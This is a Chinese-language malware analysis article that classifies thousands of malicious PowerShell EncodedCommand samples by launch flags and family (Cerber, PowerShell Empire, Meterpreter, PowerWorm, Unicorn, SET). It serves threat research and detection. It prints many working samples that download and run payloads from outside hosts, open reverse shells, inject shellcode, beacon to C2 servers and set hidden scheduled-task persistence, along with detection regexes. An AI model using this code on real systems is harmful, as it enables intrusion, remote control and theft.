以上状况的一种可能性是两类样本的分发渠道不同。比如DOC样本主要是通过电子邮件附件进行分发投递，而EXE样本主要是通过Web浏览器进行投递。
在对具体命令分析前，我要说的最后一件事是我们所检测到的使用EncodedCommand技术的一个DLL文件。这个DLL文件不包含导出函数，通过DLLMain入口调用后，该DLL会启动一个PowerShell
Empire stager，从网站下载一个经过异或处理的脚本，并使用PowerShell的Invoke-Expression
cmdlet运行。该样本与2016年10月Symantec发布的一篇博文中描述的Odinaff恶意软件家族的有关。
**三、数据前期分析及统计**
开始分析base64编码数据前，我观察了每个进程的启动方式，这种分析方法可以了解与EncodedCommand配合使用的附加参数情况。
**3.1 EncodedCommand：（4,100个样本，占比100%）**
使用此参数向PowerShell传递base64编码字符串并运行。
**3.2 WindowStyle Hidden：（2,083个样本，占比50.8%）**
使用此参数避免PowerShell执行时显示运行窗口。其中“-window hidden”方法使用最多主要与前文提到的Cerber勒索软件有关。
**3.3 NonInteractive：（1,405个样本，占比42.4%）**
使用此参数避免显示一个交互对话窗口。此方法与WindowStyle隐藏方法配合使用以隐藏执行痕迹。
其中使用“-noni”的变种中76%是通用型的shellcode注入代码或SET工具，而使用“-NonI”的变种主要是PowerShell
Empire工具。
**3.4 NoProfile：（1,350个样本，占比32.9%）**
使用此参数阻止PowerShell在开机时加载配置文件脚本，以避免载入非预期的命令或设置。与非交互方式类似，“-nop”方法主要由SET和通用型shellcode注入变种采用，而“-NoP”方法主要由PowerShell
Empire使用。
**3.5 ExecutionPolicy ByPass：（453个样本，占比11%）**
使用此参数绕过默认的PowerShell脚本执行策略（即受限策略），可以执行任何代码。有趣的是，使用EncodedCommand参数执行的代码不受执行策略影响。
**3.6 Sta：（219个样本，占比5.3%）**
使用单线程模式（现在是PowerShell 3.0的默认模式）。此参数基本上是PowerShell Empire在使用。
**3.7 NoExit: （23个样本，占比0.5%）**
使用此参数阻止PowerShell在运行启动命令后退出。这是PowerWorm恶意软件除EncodedCommand参数外使用的唯一参数。
**3.8 ExecutionPolicy Hidden（5个样本，占比0.12%）**
这实际上不是一个有效的参数，因此PowerShell会忽略该参数。使用该参数的每个样本我都标记为与“TXT
C2”脚本有关，该脚本试图加载一个包含另一段PowerShell脚本的DNS
TXT记录，与PowerWorm类似。可能攻击者本来想使用的是ByPass参数，因为他们的后续命令中使用了“-w hidden”参数。
**3.9 NoLogo：（33个样本，占比0.8%）**
避免PowerShell启动时显示版权信息。
**3.10 ExecutionPolicy Unrestricted：（1个样本，占比0.02%）**
与ByPass类似，但会在运行从Internet下载的未签名脚本前警告用户。使用此参数的脚本在试图执行从Internet下载的脚本时会触发警告信息。
**3.11 Command：（1个样本，占比0.02%）**
利用该参数可以执行参数后面的命令，就如同直接在PowerShell提示符下输入命令一样。我只捕捉到一个样本，它直接附加到某个恶意软件中，该恶意软件在FireEye发布的一篇关于绕过基于签名的检测方法的博文中提到过。该PowerShell脚本包含在一个DOCM文件的“Comments“域中，通过Word文档的宏加载执行。以下是该样本的恶意PowerShell代码片段，通过将多条命令组合在一起，可以实现FTP传输和NetCat建连目的。
现在，让我们整体看一下样本集中排名前十的PowerShell参数组合。
即使将代码的多样性考虑在内，以上排名结果也不会出现太大变化，只是使用某些参数的样本个数有些许改变而已。
在整个研究过程中，我发现有些代码作者对新版本的工具特征进行了修改，如下所示，新版本中作者稍微对参数形式进行了变化：
图6. 代码作者对不同版本样本的参数修改对比
这种修改会导致变种族群总数的变化，但我认为这些变化不会对总体结果造成特别大的影响。我的调查研究表明，代码作者很少对参数的顺序或长度做出动态改变以混淆其攻击活动，相反，他们更加关注代码基本功能的随机化，也更加关注代码的内在方面。这也使得我们可以使用PowerShell启动参数作为特征对样本进行大致精确的分类。
此外，前三种参数使用方式占了样本总数的72%，这也说明攻击者更倾向于简单地执行PowerShell脚本，而不关心后续攻击行动的隐蔽性。
**四、数据后期分析及统计**
接下来我会讨论识别出来的每个变种类别并分析他们的功能。对具备下载文件或脚本功能的变种，我将它们使用的IP地址/域名/URL信息附在本文末尾。这些地址中有些是恶意性质的，有些是用来做渗透测试的，有些只是人们用来做新技术的随机测试。不幸的是，在大规模批量分析中，我们很难推测每个地址的真实用处，因此我将这些信息直接提供给读者加以鉴别。
**（一）下载器类别**
此类PowerShell代码的主要目的是下载运行远程主机的载荷或PowerShell脚本。
**4.1 Downloader DFSP（1,373个样本，占比33.49%）**
这是使用PowerShell下载和运行文件的一个典型类别，也基本就是你在使用Google搜索如何利用PowerShell下载和执行文件时所得到的搜索结果。我使用以下模板作为此类样本的筛选器。
(New-Object System.Net.WebClient).DownloadFile('http://cajos[.]in/0x/1.exe','mess.exe');Start-Process 'mess.exe'
如前文所述，几乎所有匹配此类别的变种都与恶意Word文档有关，这些文档会通过宏启动PowerShell以下载Cerber恶意软件。此类样本中有个特例，除了使用URI之外，它在路径参数中还使用了环境变量。
Cerber下载器代码：
(New-Object System.Net.WebClient).DownloadFile('http://94.102.53[.]238/~yahoo/csrsv.exe',"$env:APPDATAcsrsv.exe");Start-Process ("$env:APPDATAcsrsv.exe")
**4.2 PowerShell Empire（293个样本，占比7.15%）**
此类变种使用PowerShell Empire的EncryptedScriptDropper来下载远程脚本，并使用内置的异或密钥进行解密。
$Wc=NeW-ObjeCt SySTEM.Net.WebCLiEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeadeRS.ADd('User-Agent',$u);$wc.PrOxy = [SyStem.NeT.WEbReQUeSt]::DEFauLTWeBProxy;$WC.PRoXY.CrEdENTIaLS = [SYStEM.NeT.CReDEnTiALCaChE]::DEFaulTNeTworKCREdeNtiaLS;$K='0192023a7bbd73250516f069df18b500';$i=0;[CHAr[]]$B=([CHaR[]]($wc.DOwnloaDSTRing("http://23.239.12.15:8080/index.asp")))|%{$_-BXOr$k[$i++%$K.LENgTh]};IEX ($B-jOIn'')
本例中，异或密钥为“0192023a7bbd73250516f069df18b500“，使用该密钥解密后的脚本为PowerShell
Empire的stager脚本，其功能是利用POST方式将系统信息提交给C2服务器，并下载Empire的第一阶段载荷。
'FunCtION StaRt-NegoTiATe{param($s,$SK,$UA="lol")Add-TypE -AsSeMBLY SYSteM.SECUriTY;AdD-TypE -aSSEMBly SYSTEm.CoRe;$ErrorActionPreference = "SilentlyContinue";$E=[SYstem.TExT.ENCoDING]::ASCII;$AES=NeW-OBjecT SYsTeM.SeCURiTy.CRyptoGrapHY.AESCRyPToSeRVicePrOvIdER;$IV = [BYTE] 0..255 | GeT-RandOm -coUNt 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($SK); $AES.IV = $IV;$cSp = NEW-OBJECT SYStEM.SecURity.CrYPtOGRAPHy.CSpPaRAmeTERS;$csP.FLAGs = $cSP.FlagS -boR [SYsTeM.SeCurITY.CryptogRaphy.CsPPROViDErFlAGs]::UsEMAcHINEKeySTore;$Rs = NEW-ObJecT SySTEm.SecURIty.CRyptograPHy.RSACRYPTOSERvICEPROViDeR -ARGuMenTLIsT 2048,$CSP;$rk=$Rs.TOXMlStriNg($FALse);$r=1..16|FOrEacH-ObJEcT{GEt-RANDOm -MAx 26};$ID=('ABCDEFGHKLMNPRSTUVWXYZ123456789'[$r] -joIN '');$iB=$E.gEtbYTes($Rk);$eb=$IV+$AES.CReaTeENCRyptoR().TRANSFoRmFiNalBLOcK($Ib,0,$Ib.LENgtH);IF(-Not $wc){$wc=nEw-oBJECt sYstEM.Net.WEBCLient;$WC.ProxY = [SySTem.NET.WeBReqUEsT]::GETSysTeMWEbPRoxY();$Wc.Proxy.CrEDentIals = [SYStem.Net.CredENtIalCAche]::DEFAUlTCRedentIaLs;}$wc.Headers.Add("User-Agent",$UA);$wc.Headers.Add("Cookie","SESSIONID=$ID");$raw=$wc.UploadData($s+"index.jsp","POST",$eb);$dE=$E.GETSTRing($Rs.deCrYPt($raw,$FalSE));$EpOCh=$de[0..9] -joIN'';$KeY=$dE[10..$de.LengTH] -jOIn '';$AES=NEw-ObJEct SYsTEm.SEcurity.CRyPtoGRAPHY.AEsCrYPtOSerVIcEPRoVidEr;$IV = [ByTe] 0..255 | GET-RaNdom -couNT 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($key); $AES.IV = $IV;$i=$S+'|'+[EnvIrONment]::UsERDOmAInNAmE+'|'+[ENvIRonmeNt]::UsERNaME+'|'+[ENvIRONmeNt]::MaChinEName;$P=(gwMi WIN32_NeTWorkAdAPTErCoNfIGurAtioN|WherE{$_.IPAdDRess}|SelECt -ExpANd IPADDReSS);$ip = @{$TrUe=$P[0];$FalsE=$P}[$P.LeNgTh -lt 6];If(!$IP -or $ip.trIm() -EQ '') {$Ip='0.0.0.0'};$i+="|$ip";$I+='|'+(GEt-WmIOBJect WIn32_OpERAtiNgSystEM).NAME.splIT('|')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+='|True'}else {$i += "|" +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$n=[SySTeM.DIAgNoSTICS.ProceSS]::GetCUrREntPRocEss();$i+='|'+$n.PROCEssNAMe+'|'+$n.ID;$I += '|' + $PSVerSIOnTabLe.PSVerSioN.MAjOR;$ib2=$E.getbYteS($I);$EB2=$IV+$AES.CrEATEEncrYPToR().TrANSFORmFinALBLOCk($Ib2,0,$Ib2.LenGTH);$wc.Headers.Add("User-Agent",$UA);$raw=$wc.UploadData($s+"index.php","POST",$eb2);$AES=NeW-Object SYSteM.SEcuRIty.CRYPToGrapHY.AesCrYPToSeRVIcEProvIder;$AES.Mode="CBC";$IV = $rAw[0..15];$AES.Key=$e.GETBYtes($key);$AES.IV = $IV;IEX $([SYstEM.TeXt.EnCoDInG]::ASCII.GetStrInG( $($AES.CrEateDECRYpTOr().TRANsFOrMFinAlBloCk($rAW[16..$RaW.LENGtH],0,$raw.LENGth-16))));$AES=$NuLL;$s2=$NuLl;$WC=$nUll;$eB2=$nULl;$RAW=$NuLl;$IV=$NULL;$WC=$NULl;$I=$NUlL;$iB2=$null;[GC]::COlLEcT();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -SessionKey $key -SessionID $ID -Epoch $epoch;} Start-Negotiate -s "http://23.239.12.15:8080/" -SK '0192023a7bbd73250516f069df18b500' -UA $u;'
**4.3 Downloader DFSP 2X（81个样本，占比1.98%）**
此类变种与前一类变种一样，但它使用另一个PoweShell实例来执行下载任务。这类变种同样都与Cerber下载器文档有关。
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://93.174.94[.]135/~kali/ketty.exe', $env:APPDATAprofilest.exe );Start-Process ( $env:APPDATAprofilest.exe )
**4.4 Downloader DFSP DPL（24个样本，占比0.59%）**
这是使用“DownloadFile -> Start-Process“技术的另一类下载器变种，有两种不同表现形式。这类样本中多数与Bartalex有关，可以用来反映这个广为人知的Office宏生成器的最新变化情况。
完全表现形式：
($deploylocation=$env:temp+'fleeb.exe');(New-Object System.Net.WebClient).DownloadFile('http://worldnit[.]com/abu.exe', $deploylocation);Start-Process $deploylocation
简略表现形式：
($dpl=$env:temp+'f.exe');(New-Object System.Net.WebClient).DownloadFile('http://alonqood[.]com/abacom.exe', $dpl);Start-Process $dpl
**4.5 Downloader IEXDS（19个样本，占比0.46%）**
这也是搜索PowerShell如何下载和执行的常见搜索结果。此类变种简单地从远程下载PowerShell脚本并利用Invoke-Expression加以执行。不同个体所生成的载荷可以完全不同且没有关联。
以下两个样本下载了“Invoke-TwitterBot“脚本，运行该脚本的主机会成为ShmooCon IX僵尸网络所控制的节点。
IEX (New-Object Net.WebClient).DownloadString('http://cannot.loginto[.]me/googlehelper.ps1')
iex ((New-Object Net.WebClient).DownloadString('http://76.74.127[.]38/default-nco.html'))
**4.6 BITS Transfer（11个样本，占比0.27%）**
使用PowerShell下载恶意软件的另一种方式是利用BitsTransfer模块。后台智能传输服务（Background Intelligent
Transfer
Service，BITS）技术通常很少用于恶意软件的下载，但其可以提供与其他传输服务（如HTTP服务）一样的功能。使用这种方法可能允许攻击者规避某些监控策略，并且可以在不影响其他带宽使用条件下完成传输任务。
在我之前的博文中，我提到了Cerber下载器的一类变种，它们使用了BITS技术用来传输文件，这11个变种中有10个与Cerber软件的Word文档有关。
Import-Module BitsTransfer
$path = [environment]::getfolderpath("mydocuments")
Start-BitsTransfer -Source "http://94.102.50[.]39/keyt.exe" -Destination "$pathkeyt.exe"
Invoke-Item "$pathkeyt.exe"
**4.7 TXT C2（10个样本，占比0.24%）**
此类样本中，攻击者使用PowerShell发起DNS请求，解析某个域名的TXT记录，该记录包含了另一个PowerShell脚本，通过Invoke-Expression加以执行。
if(''+(nslookup -q=txt p.s.os.ns.rankingplac[.]pl) -match '@(.*)@'){iex $matches[1]}
通过以上代码我们可知，脚本发起初始请求后，会循环解析某个域名的TXT记录直至获得请求响应，对响应进行base64解码后再进行执行过程。
Non-authoritative answer:
p.s.os.ns.rankingplac.pltext = "@$str='';$i=1;while(1){if(''+(nslookup -q=txt "l.$i.ns.rankingplac[.]pl.") -match '@(.*)@'){$str += [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1]))} else {break;}$i++}iex $str@"
该代码使得攻击者在条件允许时可以与受害主机建立命令和控制信道。
微软的John
Lambert最近在Twitter上公布了这类变种信息，确定它们只是用来进行渗透测试。该变种的另一个样本也可以在Nishang渗透测试框架中找到。
**4.8 Downloader Proxy（9个样本，占比0.22%）**
此类变种在PowerShell中直接使用系统已配置的代理及用户凭证。用户名通过Web请求中的“u“参数进行传递。这是一种典型的“记录型”技术，攻击者可以借此鉴别他们所突破的受害者，也可以用来处理后续的交互方式（比如，如果攻击者发现沙盒相关的用户凭证则会阻断后续连接）。
$x=$Env:username;$u="http://54.213.195[.]138/s2.txt?u=" + $x;$p = [System.Net.WebRequest]::GetSystemWebProxy();$p.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$w=New-Object net.webclient;$w.proxy=$p;$w.UseDefaultCredentials=$true;$s=$w.DownloadString($u);Invoke-Expression -Command $s;
**4.9 Meterpreter RHTTP（6个样本，占比0.15%）**
此类变种下载在PowerShell Empire或PowerSploit中使用的Invoke-Shellcode脚本，然后调用该函数生成一个反弹型HTTPS
Meterpreter shell。
这6个样本中，有5个样本是从GitHub上下载脚本。
GitHub版：
iex (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 88.160.254[.]183 -Lport 8080 -Force
非GitHub版：
IEX (New-Object Net.WebClient).DownloadString('http://el8[.]pw/ps/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 65.112.221[.]34 -Lport 443 –Force
**4.10 Downloader Kraken（5个样本，占比0.12%）**
此类变种的命名方式来源于其下载的可执行文件名（“Kraken.jpg”），它使用了与Downloader
DFSP类似的下载技术。不同的一点是此类变种不直接使用“$env”环境变量，而是使用System.IO.Path来获得$TEMP目录的路径。
IEX (New-Object Net.WebClient).DownloadString('http://el8[.]pw/ps/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 65.112.221[.]34 -Lport 443 –Force
**4.11 AppLocker Bypass（4个样本，占比0.12%）**
此类变种使用PowerShell运行regsvr32工具以绕过Windows的AppLocker策略。该技术最早由Casey
Smith公布，利用该技术使得regsvr32在注销COM对象时脚本能够得到执行机会。
**（二）嵌入型载荷类别**
此类PowerShell代码的主要目的是运行嵌入型载荷（如shellcode）。
**4.12 Shellcode注入（1,147个样本，占比27.89%）**
**4.13 Unicorn（611个样本，占比14.90%）**
**4.14 SET（199个样本，占比4.85%）**
**4.15 Unicorn修改版（14个样本，占比0.34%）**
我在前文描述了SET和Magic
Unicorn的Shellcode注入技术的实现方法，我决定利用这种shellcode注入模板对这类变种进行归类（4.12-4.15）。以下是“Shellcode注入”变种的一个样本，来源于Matt
Graeber的原始博文，你可以从中发现该样本与SET和Magic Unicorn的相似性。
$c = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,<SHELLCODE>,0x19;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};
这四类变种几乎覆盖了在启动EXE文件整个过程中所用到的所有技术。
以上代码片段的要点是样本按照以下顺序从DLL文件中导入函数。
“kernel32.dll”中的VirtualAlloc函数，
“kernel32.dll”中的CreateThread函数，
“msvcrt.dll”中的memset函数。
之后他们使用“0x”十六进制表示方法将shellcode载入字节数组中，然后调用VirtualAlloc函数分配至少4,096字节大小的RWX内存页面空间，通过memset函数将字节数组拷贝至内存中，利用CreateThread函数将执行权交给shellcode。
在1,971个样本中，有1,211个不同的shellcode载荷，这表明有50%以上的shellcode载荷被多个样本重复使用。这些工具大多数都使用Metasploit来生成shellcode，在不指定载荷情况下，通常都会选择反弹型Meterpreter
shell。例如，下面是一行来自于Magic Unicorn中的代码，用来打印如何指定MSF载荷。
print("PS Example: python unicorn.py windows/meterpreter/reverse_tcp
192.168.1.5 443")
以来代码用来在指定系统平台、架构及编码条件下生成载荷：
"msfvenom -p %s %s %s StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c" % (
payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
从shellcode长度来看，两种常见的长度分别是294字节和312字节，对应的样本数分别是846个和544个，其他长度所对应的样本数则相差较大。
我认为造成这种现象的原因在于它们可能使用相同的工具来生成shellcode载荷，除了在某些地方（如4字节的IP地址，C2服务器的URL地址等）做了稍微改动。
本文对变种的分类主要是基于特征值法，以下是筛选这四类变种的正则表达式：
Shellcode注入：
"^($c = |$1 = ["']$c = )"
"$g = 0x1000"
"$z.Length -gt 0x1000"
"$z[$i]"
Unicorn：
"$w = Add-Type -memberDefinition $[a-zA-Z0-9]{3,4} -Name"
SET：
"$code = [']{1,2}[DllImport"
"$sc.Length -gt 0x1000)"
"$winFunc::memset"
Unicorn修改版：
"^$[a-zA-Z0-9]{5,7} = '[DllImport.+Start-sleep 60};"
**4.16 Powerfun Reverse（100个样本，占比2.44%）**
**4.17 Powerfun Bind（2个样本，占比0.05%）**
我们在Powerfun中还发现了另一种代码执行方法，它们使用Metasploit的“windows/powershell_reverse_tcp”以及“powershell_bind_tcp”载荷来创建与目标系统的交互式shell。反弹型载荷通过base64进行编码，并通过使用System.Diagnostics.Process来实现进程的后台启动。
反弹型载荷：
if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'syswow64WindowsPowerShellv1.0powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAFHL6FcCA71W6nlhxGUKAAA=''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
绑定型载荷使用System.Net.Sockets.TCPClient创建一个TCP
listener侦听实例，将收到的PowerShell脚本传递给Invoke-Expression。
绑定型载荷：
$client = New-Object System.Net.Sockets.TCPClient("192.168.56.144",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
**4.18 PowerWorm（19个样本，占比0.49%）**
PowerWorm是TrendMicro在2014年定义的一个恶意软件族群，具有通过感染Office文DOC（X）、XLS（X）文档进行传播的能力。此类PowerShell代码在真正的命令之间插入了垃圾数据进行混淆。
'xneZtEDC';$ErrorActionPreference = 'SilentlyContinue';'uqaaPxuaCN';'DOBHbJqlkRM';$kn = (get-wmiobject Win32_ComputerSystemProduct).UUID;'WVy';'gKEZgPRMl';if ((gp HKCU:\SoftwareMicrosoftWindowsCurrentVersionRun) -match $kn){;'mUzql';'jsvZDTQITNa';(Get-Process -id $pid).Kill();'NgpYRhj';'hVXjCtDvBc';};'tUVXQmXbZ';'lkTzhJZHwxU';'McPzodeY';'vNNYv';function e($dkez){;'TfPD';'WTw';$jt = (((iex "nslookup -querytype=txt $dkez 8.8.8.8") -match '"') -replace '"', '')[0].Trim();'HdCjwAD';'sVSjtZRvr';$ovg.DownloadFile($jt, $tg);'raVw';'OQNdBkS';$ei = $ke.NameSpace($tg).Items();'OgnucmQlK';'Qfqxov';$ke.NameSpace($sa).CopyHere($ei, 20);'GBMdJNr';'VMWS';rd $tg;'pnoFau';'SedloE';};'NxPZPIV';'ypi';'AFElBzCp';'bYRWML';'UYANxqtLg';'QBC';$sa = $env:APPDATA + '' + $kn;'Eaxyty';'IwuaOh';if (!(Test-Path $sa)){;'amYmrKg';'vWAgqtEB';$qr = New-Item -ItemType Directory -Force -Path $sa;'GqNII';'HNPIQutUpGv';$qr.Attributes = "Hidden", "System", "NotContentIndexed";'MuRuRa';'CmlkCszVCO';};'ZdmIGyj';'nAYhOpvWV';'BIAgIntvoU';'GJTBzyjr';$zul=$sa+ 'tor.exe';'swInqmX';'LTXwOFNSuL';$axs=$sa+ 'polipo.exe';'qkI';'WJPoaNnarn';$tg=$sa+''+$kn+'.zip';'Sgw';'fYthyZ';$ovg=New-Object System.Net.WebClient;'Ils';'GRldQfFnfQK';$ke=New-Object -C Shell.Application;'vVoutJQ';'gHXAsaxc';'llaetDv';'Zix';if (!(Test-Path $zul) -or !(Test-Path $axs)){;'QtJINrwhS';'XkAxtKLAJ';e 'i.vankin.de';'QqVujkSIPS';'dZdn';};'GoemQSlIB';'IOcJU';'FYTMzpCupR';'qEnstu';if (!(Test-Path $zul) -or !(Test-Path $axs)){;'ZGtSt';'mHkBgIOsU';e 'gg.ibiz.cc';'sDtXmE';'xSBk';};'YaiaAJqKPin';'gFVK';'TumvJVvJKRm';'ULQwp';$pj=$sa+'roaminglog';'numdmmhA';'ytEF';saps $zul -Ar " --Log `"notice file $pj`"" -wi Hidden;'JCBc';'CjHbOtf';do{sleep 1;$xxl=gc $pj}while(!($xxl -match 'Bootstrapped 100%: Done.'));'wYtpNVJtdz';'XggiQIPFt';saps $axs -a "socksParentProxy=localhost:9050" -wi Hidden;'dlV';'zVLSO';sleep 7;'FzlDdEynuUz';'Ci';$zpp=New-Object System.Net.WebProxy("localhost:8123");'MsOkmLs';'zRW';$zpp.useDefaultCredentials = $true;'PWXVXIMqb';'lAy';$ovg.proxy=$zpp;'gEkdkGPjVp';'xerooSjz';$ca='http://powerwormjqj42hu[.]onion/get.php?s=setup&mom=14C6EFBB-F19D-DC11-83A7-001B38A0DF85&uid=' + $kn;'SGCFq';'GkVVnp';while(!$qmh){$qmh=$ovg.downloadString($ca)};'rHo';'jtshvrR';if ($qmh -ne 'none'){;'Ju';'VuUTlp';iex $qmh;'blhE';'AeIepyNd';};'whSp';
进行初步整理后，代码如下：
$ErrorActionPreference = 'SilentlyContinue';
$kn = (get-wmiobject Win32_ComputerSystemProduct).UUID;
if ((gp HKCU:\SoftwareMicrosoftWindowsCurrentVersionRun) -match $kn) {;
(Get-Process -id $pid).Kill();
};
function e($dkez){;
$jt = (((iex "nslookup -querytype=txt $dkez 8.8.8.8") -match '"') -replace '"', '')[0].Trim();
$ovg.DownloadFile($jt, $tg);
$ei = $ke.NameSpace($tg).Items();
$ke.NameSpace($sa).CopyHere($ei, 20);
rd $tg;
};
$sa = $env:APPDATA + '' + $kn;
if (!(Test-Path $sa)){;
$qr = New-Item -ItemType Directory -Force -Path $sa;
$qr.Attributes = "Hidden", "System", "NotContentIndexed";
};
$zul=$sa+ 'tor.exe';
$axs=$sa+ 'polipo.exe';
$tg=$sa+''+$kn+'.zip';
$ovg=New-Object System.Net.WebClient;
$ke=New-Object -C Shell.Application;
if (!(Test-Path $zul) -or !(Test-Path $axs)){;
e 'i.vankin.de';
};
if (!(Test-Path $zul) -or !(Test-Path $axs)){;
e 'gg.ibiz.cc';
};
$pj=$sa+'roaminglog';
saps $zul -Ar " --Log `"notice file $pj`"" -wi Hidden;
do{
sleep 1;
$xxl=gc $pj
} while(!($xxl -match 'Bootstrapped 100%: Done.'));
saps $axs -a "socksParentProxy=localhost:9050" -wi Hidden;
sleep 7;
$zpp=New-Object System.Net.WebProxy("localhost:8123");
$zpp.useDefaultCredentials = $true;
$ovg.proxy=$zpp;
$ca='http://powerwormjqj42hu[.]onion/get.php?s=setup&mom=&uid=' + $kn;
while(!$qmh){
$qmh=$ovg.downloadString($ca)
};
if ($qmh -ne 'none'){;
iex $qmh;
};
该代码通过请求DNS TXT记录获取软件的URL下载地址，从该地址下载Tor和Polipo，利用这些软件持续请求传递给Invoke-Expression的新的PowerShell命令。Matt
Graeber在分析这类恶意软件的全部功能方面做了非常出色的研究工作，给出了软件底层PowerShell代码的去混淆和注释版本。
**4.19 Veil Stream（7个样本，占比0.17%）**
此类变种使用的技术与“Powerfun Reverse”变种类似，将bae64字符串中的PowerShell代码插入内存，使用Invoke-Expression执行真正的shellcode载荷。代码的结构与Veil框架对应。
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('rVZtb5tIEP4eKf9+nJvw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
**（三）本地持久化类别**
此类PowerShell代码的主要目的是实现宿主机的本地持久化。
**4.20 Scheduled Task COM（11个变量，占比0.27%）**
此类变种创建计划任务运行恶意二进制文件以实现持久化机制。样本中使用的PE文件来自于所下载的“minicraft.exe”，通过下面所示的PowerShell代码执行。之所以这么做可能是因为使用PowerShell比使用原始下载二进制代码更容易完成这一任务。
代码所用到的技术与之前的Retefe银行木马有关。
$TaskName = "Microsoft Windows Driver Update"
$TaskDescr = "Microsoft Windows Driver Update Services"
$TaskCommand = "C:ProgramDataWindowsUpgrademinecraft.exe"
$TaskScript = ""
$TaskArg = ""
$TaskStartTime = [datetime]::Now.AddMinutes(1)
$service = new-object -ComObject("Schedule.Service")
$service.Connect()
$rootFolder = $service.GetFolder("")
$TaskDefinition = $service.NewTask(0)
$TaskDefinition.RegistrationInfo.Description = "$TaskDescr"
$TaskDefinition.Settings.Enabled = $true
$TaskDefinition.Settings.Hidden = $true
$TaskDefinition.Settings.RestartCount = "5"
$TaskDefinition.Settings.StartWhenAvailable = $true
$TaskDefinition.Settings.StopIfGoingOnBatteries = $false
$TaskDefinition.Settings.RestartInterval = "PT5M"
$triggers = $TaskDefinition.Triggers
$trigger = $triggers.Create(8)
$trigger.StartBoundary = $TaskStartTime.ToString("yyyy-MM-dd'T'HH:mm:ss")
$trigger.Enabled = $true
$trigger.Repetition.Interval = "PT5M"
$TaskDefinition.Settings.DisallowStartIfOnBatteries = $true
$Action = $TaskDefinition.Actions.Create(0)
$action.Path = "$TaskCommand"
$action.Arguments = "$TaskArg"
$rootFolder.RegisterTaskDefinition("$TaskName",$TaskDefinition,6,"System",$null,5)
SCHTASKS /run /TN $TaskName
**4.21 VB Task（10个样本，占比0.24%）**
此类PowerShell代码最初来自于某个内嵌PowerShell脚本的PE文件，通过运行VB脚本来创建计划任务。VB脚本一旦执行就会启动另一个PowerShell脚本。
$path= "$env:userprofileappdatalocalmicrosoftWindows"
if(-not(Test-Path -Path($path)))
{mkdir $path}
$fileout="$pathL69742.vbs";
$encstrvbs="c2V0IHdzcyA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpzdHIgPSAicG93ZXIiICYgInNoIiAmICJlbGwiICYgIi5lIiAmICJ4ZSAtTm9QIC1zdGEgLU5vbkkgLWUiICYgInhlIiAmICJjIGJ5cCIgJiAiYXMiICYgInMgLWZpIiAmICJsZSAiDQpwYXRoID0gIiNkcGF0aCMiDQpzdHIgPSBzdHIgKyBwYXRoICsgIlxtYy5wczEiDQp3c3MuUnVuIHN0ciwgMCANCg0K";
$bytevbs=[System.Convert]::FromBase64String($encstrvbs);
$strvbs=[System.Text.Encoding]::ASCII.GetString($bytevbs);
$strvbs = $strvbs.replace('#dpath#',$path);
set-content $fileout $strvbs;
$tmpfile="$env:TEMPU1848931.TMP";
$pscode_b64 =get-content $tmpfile | out-string;
$pscode_b64=$pscode_b64.trim();
$pscode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($pscode_b64))
$id = [string](get-random -min 10000 -max 100000)
